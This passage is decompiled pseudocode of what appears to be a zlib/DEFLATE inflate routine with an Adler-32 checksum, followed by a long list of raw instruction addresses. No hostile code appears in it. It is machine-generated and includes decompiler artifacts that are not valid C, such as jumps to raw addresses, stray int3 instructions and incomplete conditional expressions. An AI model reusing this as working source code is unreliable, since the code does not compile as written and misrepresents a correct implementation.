																								 *(_t1066 - 0x10) = _t595;
																								 *(_t1066 - 8) = _t949;
																								continue;
																							}
																						} else {
																							L116:
																							_t1029 =  *(_t1066 - 0x14);
																							 *(_t1066 - 0xc) = 2;
																							 *_t1029 = 9;
																							goto L292;
																						}
																						goto L295;
																					}
																					L114:
																					goto 0x3314b1;
																					asm("int3");
																					goto L84;
																				} else {
																					L106:
																					__eflags = _t1050 - 8;
																					if(_t1050 >= 8) {
																						L109:
																						_t595 = _t987 & 0x000000ff;
																						_t987 = _t987 >> 8;
																						_t1050 = _t1050 - 8;
																						 *(_t1066 - 0x28) = _t595;
																						 *(_t1066 - 4) = _t987;
																						L110:
																						__eflags =  *(_t1066 - 0x10) -  *((intOrPtr*)(_t1066 - 0x40));
																						_t1029 =  *(_t1066 - 0x14);
																						if( *(_t1066 - 0x10) >=  *((intOrPtr*)(_t1066 - 0x40))) {
																							L246:
																							 *(_t1066 - 0xc) = 2;
																							 *_t1029 = 0x34;
																							goto L292;
																						} else {
																							L111:
																							 *(_t1066 - 0x10) =  *(_t1066 - 0x10) + 1;
																							 *( *(_t1066 - 0x10)) = _t595;
																							_t949 =  *(_t1066 - 8) - 1;
																							 *(_t1066 - 8) = _t949;
																							continue;
																						}
																					} else {
																						while(1) {
																							L107:
																							__eflags = _t846 -  *(_t1066 - 0x20);
																							if(_t846 >=  *(_t1066 - 0x20)) {
																								break;
																							}
																							L108:
																							_t595 = ( *_t846 & 0x000000ff) << _t1050;
																							_t846 = _t846 + 1;
																							_t987 = _t987 | _t595;
																							 *(_t1066 - 0x18) = _t846;
																							_t1050 = _t1050 + 8;
																							 *(_t1066 - 4) = _t987;
																							__eflags = _t1050 - 8;
																							if(_t1050 < 8) {
																								continue;
																							} else {
																								goto L109;
																							}
																							goto L295;
																						}
																						L245:
																						 *_t1029 = 0x33;
																						goto L285;
																					}
																				}
																				goto L295;
																			}
																			continue;
																		}
																	} else {
																		while(1) {
																			L90:
																			__eflags = _t846 -  *(_t1066 - 0x20);
																			if(_t846 >=  *(_t1066 - 0x20)) {
																				break;
																			}
																			L91:
																			_t823 = ( *_t846 & 0x000000ff) << _t1050;
																			_t1050 = _t1050 + 8;
																			_t997 = _t997 | _t823;
																			_t846 = _t846 + 1;
																			 *(_t1066 - 0x18) = _t846;
																			_t595 = _t1050 & 0x00000007;
																			 *(_t1066 - 4) = _t997;
																			__eflags = _t1050 - _t595;
																			if(_t1050 < _t595) {
																				continue;
																			} else {
																				goto L92;
																			}
																			goto L295;
																		}
																		L242:
																		 *_t1029 = 5;
																		goto L285;
																	}
																}
															} else {
																while(1) {
																	L86:
																	__eflags = _t846 -  *(_t1066 - 0x20);
																	if(_t846 >=  *(_t1066 - 0x20)) {
																		break;
																	}
																	L87:
																	_t595 = ( *_t846 & 0x000000ff) << _t1064;
																	_t846 = _t846 + 1;
																	_t987 = _t987 | _t595;
																	 *(_t1066 - 0x18) = _t846;
																	_t1050 = _t1064 + 8;
																	 *(_t1066 - 4) = _t987;
																	__eflags = _t1050 - 3;
																	if(_t1050 < 3) {
																		continue;
																	} else {
																		goto L88;
																	}
																	goto L295;
																}
																L241:
																 *_t1029 = 3;
																goto L285;
															}
															goto L295;
														}
														L252:
														_t595 = _t1064 & 0x00000007;
														__eflags = _t1064 - _t595;
														if(_t1064 >= _t595) {
															L256:
															_t683 =  *(_t1066 - 0x3c);
															_t890 = _t1064 & 0x00000007;
															_t992 = _t987 >> _t890;
															_t1050 = _t1064 - _t890;
															 *(_t1066 - 4) = _t992;
															__eflags = _t846 - _t683;
															if(_t846 > _t683) {
																while(1) {
																	L257:
																	__eflags = _t1050 - 8;
																	if(_t1050 < 8) {
																		goto L259;
																	}
																	L258:
																	_t846 = _t846 - 1;
																	_t1050 = _t1050 - 8;
																	__eflags = _t846 - _t683;
																	if(_t846 > _t683) {
																		continue;
																	}
																	goto L259;
																}
															}
															L259:
															L260:
															_t595 = _t1050;
															asm("bts edx, eax");
															__eflags = _t595 - 0x20;
															_t892 =  >=  ? _t992 : 0;
															_t993 = _t992 ^ _t892;
															__eflags = _t595 - 0x40;
															_t893 =  >=  ? _t993 : _t892;
															 *(_t1066 - 4) =  *(_t1066 - 4) & _t993 - 0x00000001;
															__eflags =  *(_t1066 + 0x18) & 0x00000001;
															if(( *(_t1066 + 0x18) & 0x00000001) == 0) {
																L290:
																_t684 = 0;
																__eflags = 0;
																 *_t1029 = 0x22;
																goto L291;
															} else {
																L261:
																_t894 = 0;
																while(1) {
																	L277:
																	 *(_t1066 - 8) = _t894;
																	__eflags = _t894 - 4;
																	if(_t894 >= 4) {
																		goto L290;
																	}
																	L278:
																	__eflags = _t1050;
																	if(_t1050 != 0) {
																		L281:
																		_t995 =  *(_t1066 - 4);
																		__eflags = _t1050 - 8;
																		if(_t1050 >= 8) {
																			L275:
																			_t685 = _t995 & 0x000000ff;
																			_t1050 = _t1050 - 8;
																			__eflags = _t1050;
																			 *(_t1066 - 4) = _t995 >> 8;
																			goto L276;
																		} else {
																			L282:
																			while(1) {
																				L272:
																				__eflags = _t846 -  *(_t1066 - 0x20);
																				if(_t846 >=  *(_t1066 - 0x20)) {
																					break;
																				}
																				L273:
																				_t595 = ( *_t846 & 0x000000ff) << _t1050;
																				_t1050 = _t1050 + 8;
																				_t995 = _t995 | _t595;
																				_t846 = _t846 + 1;
																				 *(_t1066 - 4) = _t995;
																				__eflags = _t1050 - 8;
																				if(_t1050 < 8) {
																					continue;
																				} else {
																					L274:
																					_t894 =  *(_t1066 - 8);
																					goto L275;
																				}
																				goto L295;
																			}
																			L284:
																			 *_t1029 = 0x29;
																			goto L285;
																		}
																	} else {
																		L279:
																		__eflags = _t846 -  *(_t1066 - 0x20);
																		if(_t846 >=  *(_t1066 - 0x20)) {
																			L283:
																			 *_t1029 = 0x2a;
																			goto L285;
																		} else {
																			L280:
																			_t685 =  *_t846 & 0x000000ff;
																			_t846 = _t846 + 1;
																			L276:
																			 *(_t1066 - 0x24) = _t685;
																			_t595 =  *(_t1029 + 0x10) << 0x00000008 |  *(_t1066 - 0x24);
																			_t894 = _t894 + 1;
																			__eflags = _t894;
																			 *(_t1029 + 0x10) = _t595;
																			continue;
																		}
																	}
																	goto L295;
																}
																goto L290;
															}
														} else {
															L253:
															while(1) {
																L254:
																__eflags = _t846 -  *(_t1066 - 0x20);
																if(_t846 >=  *(_t1066 - 0x20)) {
																	break;
																}
																L255:
																_t1050 = _t1064 + 8;
																_t987 = _t987 | ( *_t846 & 0x000000ff) << _t1064;
																_t846 = _t846 + 1;
																 *(_t1066 - 4) = _t987;
																_t595 = _t1050 & 0x00000007;
																__eflags = _t1050 - _t595;
																if(_t1050 < _t595) {
																	continue;
																} else {
																	goto L256;
																}
																goto L295;
															}
															L271:
															 *_t1029 = 0x20;
															goto L285;
														}
													}
												} else {
													L48:
													__eflags = _t1064 - 0xf;
													if(_t1064 < 0xf) {
														_t1006 =  *(_t846 + 1) & 0x000000ff;
														_t884 = _t1064;
														_t723 =  *_t846 & 0x000000ff;
														_t846 = _t846 + 2;
														_t1029 =  *(_t1066 - 0x14);
														 *(_t1066 - 0x18) = _t846;
														 *(_t1066 - 4) =  *(_t1066 - 4) | (_t1006 << 0x00000008 | _t723) << _t884;
														_t1064 = _t1064 + 0x10;
														__eflags = _t1064;
														_t987 =  *(_t1066 - 4);
													}
													_t716 =  *((short*)(_t1029 + 0x160 + (_t987 & 0x000003ff) * 2));
													 *(_t1066 - 0x1c) = _t716;
													__eflags = _t716;
													if(_t716 < 0) {
														L52:
														goto 0x331472;
														asm("int3");
														asm("int3");
														asm("int3");
														do {
															L53:
															_t718 = _t987 >> _t884;
															_t884 = _t884 + 1;
															_t846 =  *((short*)(_t1029 + 0x960 + ((_t718 & 0x00000001) +  !_t846) * 2));
															__eflags = _t846;
														} while (_t846 < 0);
														 *(_t1066 - 0x1c) = _t846;
														_t846 =  *(_t1066 - 0x18);
													} else {
														L51:
														_t884 = _t716 >> 9;
													}
													L55:
													_t595 =  *(_t1066 - 8);
													_t1064 = _t1064 - _t884;
													_t987 = _t987 >> _t884;
													 *(_t1066 - 4) = _t987;
													 *( *(_t1066 - 0x10)) = _t595;
													_t884 =  *(_t1066 - 0x1c);
													__eflags = _t884 & 0x00000100;
													if((_t884 & 0x00000100) != 0) {
														L82:
														_t168 = _t1066 - 0x10;
														 *_t168 =  *(_t1066 - 0x10) + 1;
														__eflags =  *_t168;
														goto L83;
													} else {
														L56:
														_t721 =  *(_t1066 - 0x10);
														 *(_t721 + 1) = _t884;
														 *(_t1066 - 0x10) = _t721 + 2;
														while(1) {
															L38:
															_t883 =  *(_t1066 - 0x20) - _t846;
															__eflags = _t883 - 4;
															if(_t883 < 4) {
																goto L57;
															}
															goto L39;
														}
													}
												}
											}
											goto L295;
											L57:
											__eflags = _t1050 - 0xf;
											if(_t1050 >= 0xf) {
												L74:
												_t669 =  *((short*)(_t1029 + 0x160 + (_t988 & 0x000003ff) * 2));
												 *(_t1066 - 8) = _t669;
												__eflags = _t669;
												if(_t669 < 0) {
													L76:
													goto 0x33149b;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L77:
														_t671 = _t988 >> _t883;
														_t883 = _t883 + 1;
														_t595 = (_t671 & 0x00000001) +  !_t846;
														_t846 =  *((short*)(_t1029 + 0x960 + _t595 * 2));
														__eflags = _t846;
													} while (_t846 < 0);
													 *(_t1066 - 8) = _t846;
													_t846 =  *(_t1066 - 0x18);
												} else {
													L75:
													_t883 = _t669 >> 9;
													_t595 = _t669 & 0x000001ff;
													 *(_t1066 - 8) = _t595;
												}
												L79:
												_t987 = _t988 >> _t883;
												_t1064 = _t1050 - _t883;
												_t884 =  *(_t1066 - 8);
												 *(_t1066 - 4) = _t987;
												__eflags = _t884 - 0x100;
												if(_t884 >= 0x100) {
													goto L83;
												} else {
													L80:
													_t825 =  *(_t1066 - 0x10);
													__eflags = _t825 -  *((intOrPtr*)(_t1066 - 0x40));
													if(_t825 >=  *((intOrPtr*)(_t1066 - 0x40))) {
														L240:
														 *(_t1066 - 0xc) = 2;
														 *_t1029 = 0x18;
														goto L292;
													} else {
														L81:
														 *_t825 = _t884;
														 *(_t1066 - 0x10) = _t825 + 1;
														continue;
													}
												}
											} else {
												L58:
												__eflags = _t883 - 2;
												if(_t883 >= 2) {
													L72:
													_t999 =  *(_t846 + 1) & 0x000000ff;
													_t697 =  *_t846 & 0x000000ff;
													_t846 = _t846 + 2;
													_t883 = _t1050;
													 *(_t1066 - 0x18) = _t846;
													 *(_t1066 - 4) =  *(_t1066 - 4) | _t999 << _t1050 + 0x00000008 | _t697 << _t883;
													_t1050 = _t1050 + 0x10;
													__eflags = _t1050;
													_t988 =  *(_t1066 - 4);
													goto L73;
												} else {
													do {
														L59:
														_t595 = _t988 & 0x000003ff;
														_t1032 =  *((short*)(_t1029 + 0x160 + _t595 * 2));
														__eflags = _t1032;
														if(_t1032 < 0) {
															L63:
															__eflags = _t1050 - 0xa;
															if(_t1050 <= 0xa) {
																goto L68;
															} else {
																L64:
																 *(_t1066 - 0x1c) = _t883;
																while(1) {
																	L66:
																	_t1032 =  *((short*)( *(_t1066 - 0x14) + 0x960 + ((_t988 >> _t883 & 0x00000001) +  !_t1032) * 2));
																	_t883 =  *(_t1066 - 0x1c) + 1;
																	 *(_t1066 - 0x1c) = _t883;
																	__eflags = _t1032;
																	if(_t1032 >= 0) {
																		goto L73;
																	}
																	L67:
																	_t595 = _t883 + 1;
																	__eflags = _t1050 - _t595;
																	if(_t1050 >= _t595) {
																		continue;
																	} else {
																		goto L68;
																	}
																	goto L295;
																}
																goto L73;
															}
														} else {
															L60:
															_t1034 = _t1032 >> 9;
															__eflags = _t1034;
															if(_t1034 == 0) {
																L68:
																_t1029 =  *(_t1066 - 0x14);
																L69:
																__eflags = _t846 -  *(_t1066 - 0x20);
																if(_t846 >=  *(_t1066 - 0x20)) {
																	L239:
																	 *_t1029 = 0x17;
																	goto L285;
																} else {
																	goto L70;
																}
															} else {
																L61:
																__eflags = _t1050 - _t1034;
																if(_t1050 >= _t1034) {
																	L73:
																	_t1029 =  *(_t1066 - 0x14);
																	goto L74;
																} else {
																	L62:
																	goto L68;
																}
															}
														}
														goto L295;
														L70:
														_t883 = _t1050;
														_t701 = ( *_t846 & 0x000000ff) << _t883;
														_t846 = _t846 + 1;
														_t988 = _t988 | _t701;
														 *(_t1066 - 0x18) = _t846;
														_t1050 = _t1050 + 8;
														 *(_t1066 - 4) = _t988;
														__eflags = _t1050 - 0xf;
													} while (_t1050 < 0xf);
													goto L74;
												}
											}
											goto L295;
										}
									}
								} else {
									L270:
									_t684 = _t595 | 0xffffffff;
									 *_t1029 = 0x25;
									L291:
									 *(_t1066 - 0xc) = _t684;
									goto L292;
								}
							} else {
								L9:
								if(_t1050 >= _t875) {
									L12:
									_t1050 = _t1050 - _t875;
									_t842 = (_t595 << _t875) - 0x00000001 & _t988;
									_t988 = _t988 >> _t875;
									 *(_t1066 - 0x28) =  *(_t1066 - 0x28) + _t842;
									_t595 =  *(_t1066 - 0x28);
									 *(_t1066 - 4) = _t988;
									goto L14;
								} else {
									L10:
									while(_t846 <  *(_t1066 - 0x20)) {
										_t595 = ( *_t846 & 0x000000ff) << _t1050;
										_t846 = _t846 + 1;
										_t875 =  *(_t1066 - 0x38);
										_t988 = _t988 | _t595;
										_t1050 = _t1050 + 8;
										 *(_t1066 - 0x18) = _t846;
										 *(_t1066 - 4) = _t988;
										if(_t1050 < _t875) {
											continue;
										} else {
											goto L12;
										}
										goto L295;
									}
									 *_t1029 = 0x1b;
									L285:
									__eflags =  *(_t1066 + 0x18) & 0x00000002;
									L286:
									L287:
									_t596 =  !=  ? 1 : _t595;
									 *(_t1066 - 0xc) = _t596;
									__eflags = _t596 - 1;
									if(_t596 != 1) {
										L288:
										__eflags = _t596 - 0xfffffffc;
										if(_t596 != 0xfffffffc) {
											L289:
											L292:
											_t641 =  *(_t1066 - 0x3c);
											__eflags = _t846 - _t641;
											if(_t846 > _t641) {
												while(1) {
													L293:
													__eflags = _t1050 - 8;
													if(_t1050 < 8) {
														goto L295;
													}
													L294:
													_t846 = _t846 - 1;
													_t1050 = _t1050 - 8;
													__eflags = _t846 - _t641;
													if(_t846 > _t641) {
														continue;
													}
													goto L295;
												}
											}
										}
									}
								}
							}
							goto L295;
							L4:
							goto 0x3313e3;
							asm("int3");
							asm("int3");
							asm("int3");
							do {
								L6:
								_t657 = _t987 >> _t872;
								_t872 = _t872 + 1;
								_t846 =  *((short*)(_t1029 + 0x1700 + ((_t657 & 0x00000001) +  !_t846) * 2));
								__eflags = _t846;
							} while (_t846 < 0);
							 *(_t1066 - 0x1c) = _t846;
							_t846 =  *(_t1066 - 0x18);
							_t660 =  *(_t1066 - 0x1c);
							goto L8;
						}
					}
					L295:
					_t968 =  *(_t1066 - 4);
					L296:
					 *(_t1029 + 4) = _t1050;
					asm("bts ecx, esi");
					__eflags = _t1050 - 0x20;
					_t598 =  >=  ? 0 : 0;
					_t860 = 0 ^ _t598;
					__eflags = _t1050 - 0x40;
					_t599 =  >=  ? _t860 : _t598;
					 *(_t1029 + 0x20) =  *(_t1066 - 0x28);
					_t970 =  *(_t1066 - 0x10) -  *(_t1066 + 0x10);
					__eflags =  *(_t1066 + 0x18) & 0x00000009;
					 *(_t1029 + 0x24) =  *(_t1066 - 8);
					 *(_t1029 + 0x28) =  *(_t1066 - 0x38);
					 *((intOrPtr*)(_t1029 + 0x3c)) =  *((intOrPtr*)(_t1066 - 0x48));
					 *(_t1029 + 0x38) = _t860 - 0x00000001 & _t968;
					 *(_t1066 - 0x10) = _t970;
					 *((intOrPtr*)( *((intOrPtr*)(_t1066 + 8)))) = _t846 -  *(_t1066 - 0x3c);
					_t848 =  *(_t1066 - 0xc);
					 *( *(_t1066 + 0x14)) = _t970;
					if(( *(_t1066 + 0x18) & 0x00000009) != 0) {
						L297:
						__eflags = _t848;
						if(_t848 >= 0) {
							L298:
							_t1052 =  *(_t1029 + 0x1c);
							_t863 = _t1052 & 0x0000ffff;
							_t609 = (0x5e6ea9af * _t970 >> 0x20 >> 0xb) * 0x15b0;
							_t1053 = _t1052 >> 0x10;
							 *(_t1066 - 0x3c) = _t1053;
							_t974 =  *(_t1066 - 0x10) - _t609;
							__eflags =  *(_t1066 - 0x10);
							 *(_t1066 - 0x34) = _t974;
							if( *(_t1066 - 0x10) != 0) {
								L299:
								_t850 = _t974;
								do {
									L300:
									_t975 = 0;
									 *(_t1066 + 0x14) = 0;
									__eflags = _t850 - 7;
									if(_t850 > 7) {
										L301:
										goto 0x3315c6;
										asm("int3");
										asm("int3");
										asm("int3");
										L302:
										_t1031 = _t1029 - _t609;
										__eflags = _t1031;
										do {
											L303:
											_t975 =  &(_t975[2]);
											_t865 = _t863 + ( *_t609 & 0x000000ff);
											_t866 = _t865 + ( *( *(_t1066 + 0x10) + 1) & 0x000000ff);
											_t867 = _t866 + ( *( *(_t1066 + 0x10) + 2) & 0x000000ff);
											_t868 = _t867 + ( *( *(_t1066 + 0x10) + 3) & 0x000000ff);
											_t869 = _t868 + ( *( *(_t1066 + 0x10) + 4) & 0x000000ff);
											_t870 = _t869 + ( *( *(_t1066 + 0x10) + 5) & 0x000000ff);
											_t871 = _t870 + ( *( *(_t1066 + 0x10) + 6) & 0x000000ff);
											_t863 = _t871 + ( *( *(_t1066 + 0x10) + 7) & 0x000000ff);
											_t639 =  *(_t1066 + 0x10) + 8;
											_t1053 = _t1053 + _t865 + _t866 + _t867 + _t868 + _t869 + _t870 + _t871 + _t863;
											 *(_t1066 + 0x10) = _t639;
											__eflags = _t639 + _t1031 - _t850;
											_t609 =  *(_t1066 + 0x10);
										} while (_t639 + _t1031 < _t850);
										 *(_t1066 + 0x14) = _t975;
										 *(_t1066 - 0x3c) = _t1053;
									}
									L305:
									_t1029 = 0;
									 *((intOrPtr*)(_t1066 + 8)) = 0;
									__eflags = _t975 - _t850;
									if(_t975 < _t850) {
										L306:
										__eflags = _t850 - _t975 - 2;
										if(_t850 - _t975 >= 2) {
											L307:
											_t619 =  *(_t1066 + 0x14);
											_t1056 =  *(_t1066 + 0x10);
											_t851 = 0;
											_t986 = (_t850 - _t619 - 2 >> 1) + 1;
											__eflags = _t986;
											 *(_t1066 + 0x14) = _t619 + _t986 * 2;
											do {
												L308:
												_t864 = _t863 + ( *_t1056 & 0x000000ff);
												_t622 =  *(_t1056 + 1) & 0x000000ff;
												_t1029 = _t1029 + _t864;
												_t1056 = _t1056 + 2;
												_t863 = _t864 + _t622;
												_t851 = _t851 + _t863;
												_t986 = _t986 - 1;
												__eflags = _t986;
											} while (_t986 != 0);
											_t975 =  *(_t1066 + 0x14);
											 *(_t1066 + 0x10) = _t1056;
											_t1053 =  *(_t1066 - 0x3c);
											 *((intOrPtr*)(_t1066 + 8)) = _t851;
											_t850 =  *(_t1066 - 0x34);
										}
										L310:
										__eflags = _t975 - _t850;
										if(_t975 < _t850) {
											_t980 =  *(_t1066 + 0x10);
											_t863 = _t863 + ( *_t980 & 0x000000ff);
											_t1053 = _t1053 + _t863;
											_t981 =  &(_t980[1]);
											__eflags = _t981;
											 *(_t1066 + 0x10) = _t981;
										}
										L312:
										_t609 =  *((intOrPtr*)(_t1066 + 8)) + _t1029;
										_t1053 = _t1053 + _t609;
										__eflags = _t1053;
									}
									L313:
									L314:
									_t863 = _t863 + (_t609 * _t863 >> 0x20 >> 0xf) * 0xffff000f;
									_t609 = (0x80078071 * _t1053 >> 0x20 >> 0xf) * 0xffff000f;
									_t1053 = _t1053 + _t609;
									_t586 = _t1066 - 0x10;
									 *_t586 =  *(_t1066 - 0x10) - _t850;
									__eflags =  *_t586;
									_t850 = 0x15b0;
									 *(_t1066 - 0x3c) = _t1053;
									 *(_t1066 - 0x34) = 0x15b0;
								} while ( *_t586 != 0);
								goto 0x3315ef;
								asm("int3");
							}
							L316:
							_t1055 = (_t1053 << 0x10) + _t863;
							 *(_t1029 + 0x1c) = _t1055;
							__eflags = _t848;
							if(_t848 == 0) {
								__eflags =  *(_t1066 + 0x18) & 0x00000001;
								if(( *(_t1066 + 0x18) & 0x00000001) != 0) {
									__eflags = _t1055 -  *(_t1029 + 0x10);
									_t848 =  !=  ? 0xfffffffe : _t848;
								}
							}
						}
					}
					L319:
					return _t848;
					L320:
				}
				L264:
				 *__edi = 0x1a;
				goto L285;
			}

0x003156ef
0x003156ef
0x003156ef
0x003156ef
0x003156ef
0x003156ef
0x003156f2
0x00000000
0x00000000
0x003156f8
0x003156fb
0x003156ff
0x00315700
0x00315702
0x00315705
0x00315708
0x0031570e
0x00316471
0x00316478
0x00316480
0x00316483
0x00316485
0x0031649f
0x0031649f
0x003164a2
0x00000000
0x003164a8
0x003164a8
0x003164ad
0x003164ad
0x003164b0
0x003164b0
0x003164be
0x003164c9
0x003164ca
0x003164cd
0x003164d0
0x003164d2
0x00000000
0x00000000
0x003164d8
0x003164d9
0x003164db
0x00000000
0x003164e1
0x003164e1
0x003164e1
0x00000000
0x003164e1
0x00000000
0x003164db
0x00000000
0x003164b0
0x00316487
0x00316487
0x00316487
0x0031648a
0x0031648c
0x00000000
0x00316492
0x00316492
0x00316492
0x00316494
0x00000000
0x0031649a
0x0031649a
0x00000000
0x0031649a
0x00316494
0x0031648c
0x00000000
0x00315714
0x00315714
0x0031571b
0x00315723
0x00315728
0x00000000
0x00000000
0x0031572a
0x0031572c
0x0031572f
0x00315761
0x00315761
0x00315763
0x00315765
0x0031576c
0x00315773
0x00315776
0x00315779
0x0031577e
0x003157be
0x003157c1
0x003157c4
0x003157c9
0x003157d5
0x003157d5
0x003157dd
0x003157e5
0x003157e8
0x003157ec
0x003157ef
0x003157f1
0x003157f4
0x0031582f
0x0031582f
0x00315832
0x00315896
0x00315896
0x0031589b
0x003158a0
0x003158a0
0x003158a3
0x003158a6
0x003158ac
0x003158af
0x003158b3
0x003158b6
0x003158b9
0x003158bc
0x003158bc
0x003158c1
0x003158c4
0x003158c7
0x003158ca
0x003158cd
0x003158d0
0x003158d2
0x003158d4
0x003158d4
0x003158d9
0x003158da
0x003158dc
0x003158de
0x003158e1
0x003158e4
0x00000000
0x00000000
0x00000000
0x003158e4
0x00315834
0x00315834
0x00315834
0x00315837
0x00000000
0x00315839
0x00315839
0x00315839
0x0031583e
0x00315844
0x00315846
0x00315849
0x00315850
0x00315850
0x00315852
0x00315854
0x00315857
0x0031585a
0x0031585d
0x00315860
0x00315860
0x00315864
0x00315867
0x0031586d
0x00315870
0x00315873
0x00315876
0x00315879
0x0031587c
0x00000000
0x0031587e
0x0031587e
0x0031587e
0x00315880
0x00315882
0x00315882
0x00315887
0x00315888
0x0031588a
0x0031588c
0x0031588f
0x00315892
0x00315894
0x003158e6
0x003158e6
0x003158eb
0x003158ef
0x003158f2
0x003158f2
0x003158f5
0x003158f5
0x003158f5
0x003158f5
0x003158f5
0x00315880
0x0031587c
0x00315837
0x00000000
0x003157f6
0x003157f6
0x003157f6
0x003157f6
0x003157f8
0x003157f9
0x003157fe
0x00000000
0x00000000
0x00315804
0x0031580a
0x0031650f
0x0031650f
0x00316516
0x00000000
0x00315810
0x00315810
0x00315822
0x00315825
0x00315828
0x0031582a
0x00000000
0x0031582a
0x00000000
0x0031580a
0x003158f8
0x003158f8
0x003158fb
0x003158fd
0x00315900
0x00000000
0x00000000
0x00315906
0x0031590c
0x0031590f
0x00315912
0x00000000
0x00315918
0x00315918
0x00315918
0x0031591b
0x0031591d
0x00315921
0x00315923
0x00315926
0x0031592e
0x00315933
0x00315936
0x00315936
0x00315939
0x00315939
0x00315943
0x0031594b
0x0031594e
0x00315950
0x00315959
0x00315959
0x0031595e
0x0031595f
0x00315960
0x00315961
0x00315961
0x00315965
0x00315967
0x0031596b
0x0031596d
0x00315975
0x00315975
0x00315979
0x0031597c
0x00315952
0x00315952
0x00315954
0x00315954
0x0031597f
0x0031597f
0x00315981
0x00315983
0x00315986
0x00315989
0x0031598f
0x00315b5a
0x00315b5a
0x00315b60
0x00315b63
0x00315b69
0x00316406
0x00316406
0x0031640d
0x00316413
0x00316419
0x0031641c
0x0031641f
0x00316421
0x0031645e
0x0031645e
0x00316461
0x00315714
0x0031571b
0x00315723
0x00315728
0x00000000
0x00000000
0x00000000
0x00316467
0x00316467
0x0031646c
0x0031646f
0x003164e6
0x003164e6
0x003164ed
0x003164f0
0x003164f3
0x003164f8
0x003164fe
0x00316501
0x00316504
0x00316507
0x00315714
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0031646f
0x00316423
0x00316423
0x00316423
0x00316425
0x0031644a
0x0031644f
0x0031644f
0x00316454
0x00316456
0x00316458
0x00316458
0x00316458
0x0031645b
0x00000000
0x00316427
0x00316427
0x00316427
0x00316427
0x0031642a
0x00000000
0x00000000
0x00316430
0x00316435
0x00316437
0x00316438
0x0031643b
0x0031643d
0x00316440
0x00316443
0x00316446
0x00316448
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00316448
0x00316641
0x00316641
0x00000000
0x00316641
0x00316425
0x00315b6f
0x00315b6f
0x00315b6f
0x00315b6f
0x00315b73
0x00000000
0x00000000
0x00315b79
0x00315b79
0x00315b7c
0x00315b9f
0x00315ba1
0x00315ba4
0x00315ba7
0x00315baa
0x00315bad
0x00315bad
0x00315baf
0x00315bb2
0x00315bb5
0x00315bb8
0x00315d7b
0x00315d7b
0x00315d7e
0x00316674
0x00316674
0x0031667b
0x00000000
0x00315d84
0x00315d84
0x00315d84
0x00315d87
0x00315e56
0x00315e56
0x00315e56
0x00315e58
0x00315e58
0x00315e58
0x00315e5b
0x00315e5e
0x00000000
0x00000000
0x00315e64
0x00315e64
0x00315e6b
0x00315e6e
0x00315e70
0x00315e9f
0x00315e9f
0x00315eaa
0x00315eb2
0x00315eb5
0x00315eb8
0x00315ebf
0x00315ec1
0x00315ec3
0x00315ec5
0x00315ec8
0x00315ed2
0x00315ed5
0x00315ed7
0x00315eda
0x00000000
0x00315e72
0x00315e72
0x00315e72
0x00315e72
0x00315e75
0x00000000
0x00000000
0x00315e7b
0x00315e80
0x00315e82
0x00315e83
0x00315e86
0x00315e88
0x00315e8b
0x00315e8e
0x00315e91
0x00315e98
0x00315e9b
0x00315e9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315e9d
0x00316595
0x00316595
0x00000000
0x00316595
0x00000000
0x00315e70
0x00315ee0
0x00315ee5
0x00315eee
0x00315ef4
0x00315ef7
0x00315efa
0x00315efa
0x00315efc
0x00315efc
0x00315efc
0x00315eff
0x00315f02
0x00000000
0x00000000
0x00315f04
0x00315f04
0x00315f07
0x00315f2a
0x00315f2f
0x00315f32
0x00315f35
0x00315f38
0x00315f3b
0x00315f3e
0x00315f45
0x00315f4f
0x00000000
0x00315f09
0x00315f09
0x00315f09
0x00315f09
0x00315f0c
0x00000000
0x00000000
0x00315f12
0x00315f17
0x00315f19
0x00315f1a
0x00315f1c
0x00315f1f
0x00315f22
0x00315f25
0x00315f28
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315f28
0x003165a0
0x003165a0
0x00000000
0x003165a0
0x00000000
0x00315f07
0x00315f52
0x00315f52
0x00000000
0x00315d8d
0x00315d8d
0x00315d8d
0x00315d92
0x00315d93
0x00315d94
0x00315d95
0x00315d96
0x00315d98
0x00315d9a
0x00315d9c
0x00315d9d
0x00315d9f
0x00315da1
0x00315da8
0x00315dae
0x00315db6
0x00315db9
0x00315dbe
0x00315dc3
0x00315dc8
0x00315dcd
0x00315dd5
0x00315ddd
0x00315de5
0x00315ded
0x00315df5
0x00315dfb
0x00315e03
0x00315e07
0x00315e0c
0x00315e11
0x00315e16
0x00315e1b
0x00315e20
0x00315e25
0x00315e2d
0x00315e32
0x00315e3a
0x00315e44
0x00315e4e
0x00315f59
0x00315f59
0x00315f59
0x00315f5c
0x00315f5e
0x00000000
0x00000000
0x00315f64
0x00315f73
0x00315f7d
0x00315f93
0x00315fa9
0x00315fb2
0x00315fb7
0x00315fba
0x00315fbd
0x00315fc0
0x00315fc2
0x00315fc4
0x00315fc4
0x00315fd0
0x00315fd0
0x00315fd0
0x00315fd4
0x00315fd5
0x00315fdc
0x00315fdc
0x00315fd0
0x00315fe0
0x00315fe0
0x00315fe5
0x00315fe6
0x00315fe7
0x00315fe8
0x00315fe9
0x00315fe9
0x00315fef
0x00315ff5
0x00315ff8
0x00316000
0x00316000
0x00316000
0x00316009
0x0031600b
0x0031600d
0x00316014
0x00316017
0x00316020
0x00316027
0x00316029
0x0031602c
0x00316035
0x00316037
0x0031603e
0x00316041
0x00316041
0x0031604c
0x0031604f
0x00316055
0x00316058
0x0031605a
0x00316061
0x0031606c
0x0031606c
0x0031606f
0x00316076
0x0031607d
0x00316080
0x00316086
0x00316086
0x00316090
0x00316090
0x00316095
0x00316095
0x00316099
0x0031609c
0x0031609e
0x003160a4
0x003160a4
0x003160ab
0x003160af
0x003160b6
0x003160b9
0x003160bb
0x00000000
0x003160c0
0x003160c0
0x003160cb
0x003160ce
0x003160cf
0x003160d1
0x003160d4
0x003160d4
0x003160d8
0x003160d8
0x003160db
0x003160db
0x003160de
0x0031612d
0x0031613d
0x00316140
0x00316143
0x00316146
0x00316149
0x0031614c
0x0031614e
0x00316153
0x00316156
0x00316158
0x00316158
0x0031615b
0x0031615e
0x0031615e
0x00316161
0x00316161
0x00316164
0x00316167
0x00316169
0x00316169
0x00316169
0x0031616c
0x0031616f
0x00316172
0x00316172
0x00316172
0x00316180
0x00316185
0x00316189
0x0031618c
0x003161a4
0x0031618e
0x00316191
0x00316195
0x00316198
0x0031619a
0x0031619d
0x003161a0
0x003161a0
0x003161a7
0x003161a7
0x003161a7
